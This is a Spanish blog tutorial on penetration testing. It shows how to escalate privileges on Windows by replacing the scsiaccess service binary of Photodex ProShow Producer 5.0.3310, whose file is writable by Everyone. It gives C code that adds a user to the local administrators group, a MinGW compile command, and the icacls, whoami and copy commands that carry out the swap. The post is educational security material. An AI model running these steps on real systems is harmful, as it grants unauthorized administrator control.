Escalar Privilegios Utilizando Permisos Incorrectos En Servicios Y Archivos

En pruebas de penetración, frecuentemente el procedimiento para escalar privilegios se puede alcanzar encontrando algunas malas configuraciones sobre el sistema comprometido, en lugar de explotar activamente un servicio vulnerable con privilegios elevados. Esto es especialmente cierto en entornos corporativos, donde los parches y actualizaciones son instalados regularmente, dejando una relativamente pequeña superficie vulnerable de ataque.

El software es propenso a errores. Sin embargo la validación de las entradas no es el único problema por el cual los desarrolladores de software deberían preocuparse. Como ejemplo el siguiente escenario.

Un desarrollador de software crea un programa el cual se ejecuta como un servicio de Windows. Durante la instalación del programa, el desarrollador no tiene cuidado en verificar los permisos de acceso del archivo utilizado por el servicio, y el archivo se deja en un estado donde el grupo de Windows “Everyone” tiene acceso completo de lectura y escritura sobre el archivo. Esto podría permitir a un usuario de bajos privilegios reemplazar el archivo afectado con un archivo malicioso. La siguiente vez el servicio sea reiniciado o la máquina sea reiniciada, el archivo malicioso será ejecutado con privilegios de “SYSTEM”.

Para la siguiente demostración se utiliza el servicio de nombre “scsiaccess” instalado por el programa Photodex ProShow Producer en su versión 5.0.3310.

Se crea un ejecutable para sistemas Windows, el cual agregará a un usuario regular de Windows de nombre “julia” hacia el grupo de administradores locales. El código a utilizar será el presentado a continuación.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */ 
int main () 
{ 
    int i;
    i=system ("net localgroup administrators julia /add"); 
    return 0; 
}

Se utiliza la herramienta MinGW, una contracción para “GNU Minimalista para Windows”, el cual es un entorno de desarrollo minimalista para aplicaciones nativas Micrososft Windows.

# i686-w64-mingw32-gcc -v -o /tmp/scsiaccess.exe useradd.c

Se verifica la creación del archivo, para luego ejecutar el comando “file” sobre el archivo creado. Se comprueba es un archivo ejecutable para sistemas Microsoft Windows.

# ls -l /tmp/scsiaccess.exe
# file /tmp/scsiaccess.exe

Habiendo obtenido previamente acceso shell en línea de comandos sobre un sistema Windows comprometido, se ejecuta el comando de nombre “icacls”, el cual permite mostrar o modificar DACLs sobre archivos específicos, y aplica DCALs almacenados hacia archivos en directorios específicos. Esto nos permite verificar permisos inseguros en el archivo “scsiaccess.exe”.

C:\Program Files\Photodex\ProShow Producer>icacls scsiaccess.exe

Se verifica la información del usuario local con bajos privilegios.

C:\Program Files\Photodex\ProShow Producer>whoami

Utilizando cualquier técnica para realizar la transferencia de archivos hacia el sistema Windows comprometido, se debe transferir el archivo de nombre “scsiaccess.exe” compilado en Kali Linux, para luego reemplazar el archivo original por el archivo malicioso.

C:\Program Files\Photodex\ProShow Producer>copy C:\Users\julia\Downloads\scsiaccess.exe scsiaccess.exe

Ahora sólo se debe esperar pacientemente por un reinicio del servicio o el reinicio del sistema. Si todo ha sido realizado correctamente, cuando ello ocurra, el archivo malicioso “scsiaccess.exe” se ejecutará con los privilegios de SYSTEM, lo cual agregará el usuario de nombre “julia” hacia el grupo de administradores.

C:\Program Files\Photodex\ProShow Producer>net localgroup administrators

Fuentes:

http://www.mingw.org/
http://www.photodex.com/proshow/producer
https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s